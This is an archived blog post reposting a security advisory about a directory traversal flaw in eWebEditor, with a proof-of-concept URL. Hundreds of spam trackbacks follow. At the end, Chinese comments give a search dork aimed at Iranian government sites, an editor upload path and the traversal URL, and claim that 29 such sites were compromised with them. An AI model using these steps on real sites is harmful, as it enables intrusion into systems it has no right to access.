eWebEditor suffers from a directory traversal vulnerability
This entry was posted on Jan 31 2010
################################################## ###############
# Securitylab.ir
################################################## ###############
# Application Info:
# Name: eWebeditor
# Version: all version
################################################## ###############
# Vulnerability Info:
# Type: Directory Traversal
# Risk: Medium
################################################## ###############
# Vulnerability:
# http://site.com/admin/ewebeditor/admin/upload.asp?id=16&d_viewmode=&dir =./..
################################################## ###############
# Discoverd By: Pouya Daneshmand
# Website: http://securitylab.ir
# Contacts: info[at]securitylab.ir & whh_iran@yahoo.com
################################################## #################
389 Responses to “eWebEditor suffers from a directory traversal vulnerability”
386 Trackback(s)
- Nov 5, 2011: foundation repairs in Goodwins Corner IN
- Nov 6, 2011: Loreal professional hair color
- Nov 7, 2011: Free Psychic Reading
- Nov 8, 2011: cricut cartridges
- Nov 8, 2011: Healthy Choice coupon
- Nov 8, 2011: PDAs
- Nov 8, 2011: home improvement
- Nov 10, 2011: Chapter13 Illinois
- Nov 17, 2011: dove coupons
- Nov 19, 2011: government grants
- Nov 20, 2011: online public relations
- Dec 19, 2011: Carrier Parts
- Jan 6, 2012: roofing contractors Pleasant Hills OH
- Jan 6, 2012: Warlock
- Jan 8, 2012: my url
- Jan 10, 2012: delete fan facebook
- Jan 14, 2012: roofing in Enumclaw WA
- Jan 16, 2012: extraction thimbles
- Jan 17, 2012: deportiva
- Jan 18, 2012: portarollo
- Jan 19, 2012: Filter paper
- Jan 23, 2012: amazon is my niche Keyword.
- Jan 24, 2012: tanie czytanie
- Jan 25, 2012: http://wallinside.com/post-1253448.html
- Jan 26, 2012: Reifen
- Jan 27, 2012: law firm in Long Island, NY
- Jan 28, 2012: chicago limo service
- Jan 29, 2012: Alpha Warranty
- Feb 2, 2012: Top Penny Stocks
- Feb 3, 2012: Domain Brokerage
- Feb 5, 2012: loss of amenity
- Feb 5, 2012: supermarket injury
- Feb 5, 2012: southern dunes villa
- Feb 6, 2012: http://topwirelessrouters.com/contact-us
- Feb 6, 2012: whiplash injury
- Feb 7, 2012: free nba picks
- Feb 10, 2012: wof christchurch
- Feb 10, 2012: Bellimbusto finale
- Feb 10, 2012: automatic garage door opener Wantagh NY
- Feb 10, 2012: inspirational quotes
- Feb 11, 2012: free mlb picks
- Feb 13, 2012: phlebotomy
- Feb 15, 2012: junk cars for cash
- Feb 16, 2012: joinery auckland
- Feb 18, 2012: Dosimeter
- Feb 18, 2012: printable oil change coupons
- Feb 18, 2012: thrustmaster hotas warthog
- Feb 19, 2012: Top Penny Stocks
- Feb 19, 2012: Cheap Bosch Microwave
- Feb 19, 2012: Boston estate planning lawyer
- Feb 19, 2012: Boston estate planning attorney
- Feb 19, 2012: Massachusetts probate lawyer
- Feb 19, 2012: Boston, MA elder law
- Feb 19, 2012: Boston, MA elder law
- Feb 19, 2012: papel de regalo
- Feb 19, 2012: revimax
- Feb 19, 2012: revimax creme
- Feb 19, 2012: Boston elder law
- Feb 19, 2012: Massachusetts probate attorney
- Feb 20, 2012: surveyors auckland
- Feb 21, 2012: laundry cabinets
- Feb 21, 2012: lingerie wholesale
- Feb 21, 2012: mazda spare parts
- Feb 21, 2012: How to keep fit
- Feb 21, 2012: Gatsby Moving Rubber
- Feb 22, 2012: Daily Deals
- Feb 22, 2012: hair extensions
- Feb 23, 2012: Mens leather jackets
- Feb 23, 2012: Best mattresses
- Feb 23, 2012: rose gold engagement rings
- Feb 23, 2012: Ovarian cyst pain
- Feb 23, 2012: hospital marketing chicago,
- Feb 23, 2012: Celebrity Entertainment News and Gossip
- Feb 23, 2012: how to improve credit score
- Feb 24, 2012: recepti za torte
- Feb 24, 2012: Gifts for grandma
- Feb 24, 2012: freefav.com tube
- Feb 24, 2012: Låna pengar snabbt
- Feb 25, 2012: Loft Beds
- Feb 25, 2012: Wine Cabinet
- Feb 25, 2012: lotus tarot
- Feb 25, 2012: Corner Wine Cabinet
- Feb 25, 2012: Proform Treadmill
- Feb 25, 2012: Proform ZT3 Treadmill
- Feb 25, 2012: Proform 6.0 ZT Treadmill
- Feb 25, 2012: Proform Power 995 Treadmill
- Feb 25, 2012: Proform 590T Treadmill
- Feb 25, 2012: Baby Bedding
- Feb 25, 2012: Kids Bedding
- Feb 25, 2012: Dutch Oven
- Feb 25, 2012: Tramontina Dutch Oven
- Feb 25, 2012: Lodge Cast Iron Dutch Oven
- Feb 25, 2012: Le Creuset Dutch Oven
- Feb 25, 2012: Portable Generators
- Feb 25, 2012: Generac Generators
- Feb 25, 2012: Propane Generator
- Feb 26, 2012: romance ebooks
- Feb 26, 2012: Paladin Guide
- Feb 26, 2012: personal injury lawyers in Long Island
- Feb 27, 2012: estate planning attorney in Nassau county
- Feb 27, 2012: kupferpreise
- Feb 27, 2012: drunk driving lawyer in New Jersey
- Feb 27, 2012: TX federal defense criminal attorney
- Feb 27, 2012: medical malpractice attorney in Tallahassee
- Feb 28, 2012: Incontri single
- Feb 28, 2012: buy provillus
- Feb 28, 2012: homes for sale by the owner in
- Feb 29, 2012: senuke x review
- Feb 29, 2012: answering service for small businesses
- Feb 29, 2012: answering service for small businesses
- Feb 29, 2012: Alizea
- Mar 1, 2012: temperature logger
- Mar 1, 2012: truth about abs
- Mar 1, 2012: cell phone spyware
- Mar 1, 2012: Online Obituaries
- Mar 2, 2012: Alina
- Mar 2, 2012: Akli
- Mar 2, 2012: Gold Coast personal trainer
- Mar 2, 2012: Tax Investigation London
- Mar 3, 2012: psychics
- Mar 3, 2012:  Kreditwürdigkeit
- Mar 3, 2012: Anna-maria
- Mar 3, 2012: http://www.carinsurancerates.com
- Mar 3, 2012: sheet trimmers
- Mar 3, 2012: online cash advance loans
- Mar 3, 2012: pianta
- Mar 4, 2012: stomach rash
- Mar 4, 2012: seo
- Mar 4, 2012: Car Games
- Mar 4, 2012: Michigan Auto Accident
- Mar 5, 2012: seo nottingham
- Mar 5, 2012: PC Health Advisor
- Mar 6, 2012: Web Design London
- Mar 6, 2012: zynga poker chip
- Mar 7, 2012: Buy Proxy
- Mar 7, 2012: Hypertrophy Training
- Mar 7, 2012: cedar park karate
- Mar 8, 2012: Mage Pvp
- Mar 8, 2012: skoreit scam
- Mar 8, 2012: hiking stores
- Mar 8, 2012: ubid scam
- Mar 8, 2012: skoreit promo codes 2012
- Mar 8, 2012: local dentist reviews
- Mar 8, 2012: luster teeth whitening
- Mar 8, 2012: Raspberry Ketone
- Mar 8, 2012: best lacrosse gloves
- Mar 9, 2012: http://ipadflatrate.org/
- Mar 10, 2012: Fishing
- Mar 10, 2012: London Plumbing
- Mar 10, 2012: Tax Investigation Accountants
- Mar 10, 2012: top super bowl ads
- Mar 11, 2012: frederic malle parfum
- Mar 11, 2012: 6 pack abs workout
- Mar 11, 2012: Paddle Board
- Mar 12, 2012: rejser
- Mar 12, 2012: Ali
- Mar 12, 2012: online games
- Mar 12, 2012: free psychic chat
- Mar 12, 2012: Proquip
- Mar 12, 2012: how to sell my house fast atlanta
- Mar 13, 2012: tauranga retirement villages
- Mar 14, 2012: game
- Mar 15, 2012: local seo services
- Mar 16, 2012: cute dog collars
- Mar 16, 2012: The Jump Manual
- Mar 16, 2012: Live Music Festivals 2012 UK
- Mar 16, 2012: Economic Plumbers London
- Mar 16, 2012: Abdennour
- Mar 16, 2012: Memorial Website
- Mar 16, 2012: weber genesis e330 liquid propane grill
- Mar 17, 2012: Alberte
- Mar 17, 2012: sell my house quickly san antonio
- Mar 17, 2012: dust collector reviews
- Mar 17, 2012: BERITA BOLA
- Mar 18, 2012: online games
- Mar 18, 2012: Cape Property Western Cape
- Mar 18, 2012: affordable car insurance
- Mar 18, 2012: la fitness
- Mar 18, 2012: Giclee Printing
- Mar 18, 2012: 6 pack abs workout
- Mar 19, 2012: apple
- Mar 19, 2012: the impossible quiz
- Mar 20, 2012: psychic readings
- Mar 20, 2012: new iPad 3
- Mar 21, 2012: new penny auction sites
- Mar 21, 2012: online fish store
- Mar 21, 2012: aulas de guitarra online
- Mar 22, 2012: photo mannequin homme
- Mar 22, 2012: Daily Deals
- Mar 22, 2012: whey protein optimum
- Mar 22, 2012: traditional IRA vs Roth IRA
- Mar 22, 2012: airless paint sprayer reviews
- Mar 22, 2012: electric smoker reviews
- Mar 22, 2012: electric pressure cooker reviews
- Mar 23, 2012: dresses for a wedding guest
- Mar 23, 2012: HDB Interior Design
- Mar 23, 2012: Interior Design Singapore
- Mar 23, 2012: parking games
- Mar 23, 2012: dave ramsey certified counselor
- Mar 23, 2012: kitchen faucet reviews
- Mar 23, 2012: soy milk maker reviews
- Mar 23, 2012: summons for debt
- Mar 24, 2012: how to create a website
- Mar 24, 2012: How an Indie Video Is Developed by Screenwriting and Brought up … | Universal Studios
- Mar 25, 2012: Pradaxa lawyer
- Mar 25, 2012: bounce house rental mn
- Mar 25, 2012: bmx game
- Mar 25, 2012: How to Become a Pharmacist
- Mar 25, 2012: fishing games
- Mar 25, 2012: stick man games
- Mar 25, 2012: hunting games
- Mar 25, 2012: bike games
- Mar 27, 2012: Buy Computers Online South Africa
- Mar 27, 2012: campers world
- Mar 27, 2012: lap band surgery hypnosis
- Mar 27, 2012: gold miner game
- Mar 27, 2012: Face wash for oily skin
- Mar 27, 2012: make money online
- Mar 27, 2012: solar energy
- Mar 28, 2012: high yield investment
- Mar 29, 2012: rest homes in auckland
- Mar 29, 2012: bariatric diet for obese people
- Mar 29, 2012: Empower Network
- Mar 29, 2012: best acne treatments
- Mar 29, 2012: escape games
- Mar 29, 2012: armor games
- Mar 30, 2012: franchises for sale nz
- Mar 30, 2012: tatuaggi
- Mar 31, 2012: seo consultant sydney
- Mar 31, 2012: how to build a website
- Apr 1, 2012: kostenlose browsergames
- Apr 2, 2012: custom hypnosis
- Apr 2, 2012: skateboarding game
- Apr 3, 2012: disegni tatuaggi
- Apr 3, 2012: aldo coupon codes
- Apr 3, 2012: silver prices today
- Apr 3, 2012: pinball games
- Apr 3, 2012: First Utility
- Apr 3, 2012: Achtsamkeit trainieren
- Apr 3, 2012: hgh energizer scam
- Apr 4, 2012: oak corner tv unit
- Apr 4, 2012: rekey Houston
- Apr 4, 2012: microdermmd
- Apr 4, 2012: Womans flat shoes UK
- Apr 4, 2012: unlocked quadband gsm
- Apr 4, 2012: Michigan Personal Injury Lawyer
- Apr 4, 2012: company formation
- Apr 4, 2012: Proactol Review
- Apr 4, 2012: Mini GmbH
- Apr 5, 2012: Buy Iraqi Dinar
- Apr 5, 2012: como tomar creatina
- Apr 5, 2012: click here
- Apr 5, 2012: Buy Iraqi Dinar
- Apr 6, 2012: Cecy
- Apr 6, 2012: gratio
- Apr 6, 2012: my secret glow
- Apr 6, 2012: szkola jazdy gdynia opinie
- Apr 7, 2012: zoli
- Apr 7, 2012: hunterpvp
- Apr 7, 2012: Weekly Deals
- Apr 7, 2012: Lucyd Media
- Apr 8, 2012: thermal imaging camera cost
- Apr 9, 2012: Free Ares Galaxy
- Apr 10, 2012: antykwariat
- Apr 10, 2012: toprczone
- Apr 10, 2012: gardeningrecipe
- Apr 10, 2012: Sterling Currency Group
- Apr 12, 2012: nz telephone directory
- Apr 12, 2012: the silver melt value
- Apr 12, 2012: cruise from Southampton UK
- Apr 12, 2012: Natural Skin Care Products
- Apr 13, 2012: Online MBA Programs
- Apr 13, 2012: unlock iphone 4
- Apr 13, 2012: gold prices
- Apr 13, 2012: vst instruments
- Apr 13, 2012: mothers day gift ideas.
- Apr 13, 2012: cubefield
- Apr 13, 2012: Harry Potter DVD box sets
- Apr 13, 2012: happy wheels game
- Apr 14, 2012: parking games
- Apr 14, 2012: JASA SEO
- Apr 14, 2012: Kindle Touch review
- Apr 14, 2012: Phuket
- Apr 14, 2012: Makeup
- Apr 15, 2012: Best Value Mauritius Holidays
- Apr 16, 2012: know more
- Apr 17, 2012: Hotels near airport
- Apr 17, 2012: trail camera reviews
- Apr 17, 2012: circular saw reviews
- Apr 17, 2012: band saw reviews
- Apr 17, 2012: meat slicer reviews
- Apr 17, 2012: table saw reviews
- Apr 17, 2012: Gold Secrets Guide
- Apr 17, 2012: Secrets 4 Loss Weight
- Apr 18, 2012: Gatsby Store
- Apr 18, 2012: natural beauty tips
- Apr 18, 2012: deep fat fryers
- Apr 18, 2012: Noice
- Apr 18, 2012: Best Value Mauritius Holidays
- Apr 18, 2012: sailboat cruising
- Apr 18, 2012: whiten teeth
- Apr 19, 2012: Here
- Apr 19, 2012: Air Jordan 18
- Apr 19, 2012: Catholic Prayer
- Apr 19, 2012: Movers Boston
- Apr 19, 2012: Movers Boston
- Apr 19, 2012: scary maze game
- Apr 20, 2012: click here
- Apr 20, 2012: 5 Panel Drug Test
- Apr 20, 2012: Maldives
- Apr 20, 2012: tanks game
- Apr 20, 2012: android
- Apr 20, 2012: scary games
- Apr 20, 2012: Sisel
- Apr 20, 2012: Oscar wildes best quotes
- Apr 20, 2012: safe weight loss pills
- Apr 20, 2012: vitamine b12
- Apr 20, 2012: laptops
- Apr 20, 2012: dermatologist Singapore
- Apr 20, 2012: Dota 2 guide
- Apr 20, 2012: ch products pro throttle usb
- Apr 20, 2012: money
- Apr 21, 2012: Max Aicher Stahl Freilassing
- Apr 21, 2012: Anti Aging Simply
- Apr 21, 2012: vending
- Apr 21, 2012: beat maker
- Apr 21, 2012: beat making software
- Apr 21, 2012: tanning salons nyc
- Apr 21, 2012: solar panels
- Apr 21, 2012: payday loan process
- Apr 22, 2012: Fairy Tattoo
- Apr 22, 2012: Tinkerbell Tattoo
- Apr 22, 2012: HDB interior design
- Apr 22, 2012: Marketing Automation Software
- Apr 23, 2012: coverage replacement cost
- Apr 23, 2012: weight loss tips
- Apr 23, 2012: learn how to lose weight fast
- Apr 23, 2012: Internet Marketing Products
- Apr 23, 2012: kids swing sets
- Apr 23, 2012: games
- Apr 23, 2012: Russian women
- Apr 23, 2012: tanning salons nyc
- Apr 23, 2012: program
- Apr 24, 2012: Dr Beats
- Apr 24, 2012: Professional Indemnity Insurance
- Apr 24, 2012: Professional Indemnity Insurance
- Apr 26, 2012: online psychic readings
- Apr 27, 2012: online psychic chat
- Apr 28, 2012: homes nz
- May 1, 2012: bağlama büyüsü
- May 2, 2012: car insurance quotes
- May 2, 2012: Bbq
- May 2, 2012: scar treatment
- May 2, 2012: lace evening dresses
- May 3, 2012: getting money for gold
- May 3, 2012: what to do to sell gold
- May 3, 2012: buy traffic
- May 3, 2012: unemployment extension 2010
- May 3, 2012: MLM
- May 3, 2012: diet plan for fat loss
- May 3, 2012: snooker
- May 3, 2012: lesbian gifts ideas
- May 4, 2012: second hand used clothing uk
- May 4, 2012: cocoa powder
- May 4, 2012: Citra Gran
- May 4, 2012: refurbished apple
- May 4, 2012: silver prices
- May 4, 2012: phen375 review
- May 4, 2012: fix my golf swing
- May 4, 2012: Minneapolis Law Firm
- May 4, 2012: andover mn criminal attorneys
- May 4, 2012: free seo quote
- May 5, 2012: free credit score
- May 6, 2012: strom
- May 7, 2012: Gold Buyers
- May 7, 2012: 18k gold
- May 7, 2012: tarot visa
- May 7, 2012: free seo analysis
- May 7, 2012: Initial Outfitters
- May 7, 2012: DoTerra Review
- May 7, 2012: Oriflam
- May 7, 2012: Lupus Symptoms
- May 7, 2012: San Diego Family Photographer
- May 8, 2012: click here
- May 8, 2012: homes in Utah
- May 13, 2012: buy raspberry ketone
You must be logged in to post a comment.
擦……這哪是伊朗人發現的。 明明他們是這麼被日的可好。 前些日子我那哥們給我三個tip玩
tip1：[To Parent Directory] inurl:.gov.ir/
tip2：網站域名/html/js/editor/fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/php、aspx、jsp自己看網站環境選/connector.aspx、php、jsp自己選
tip3：上傳失敗用upload.asp?id=16&d_viewmode=&dir =./..厲遍目錄找後台
st0p Reply:
February 9th, 2010 at 5:19 pm
唉，有點鬱悶，不少人在轉這個東西。
現在在網上想找到原作者有點難吧。 鬱悶。 。
當時搜出來的29個.gov.ir都遭到毒手，就是這3個tip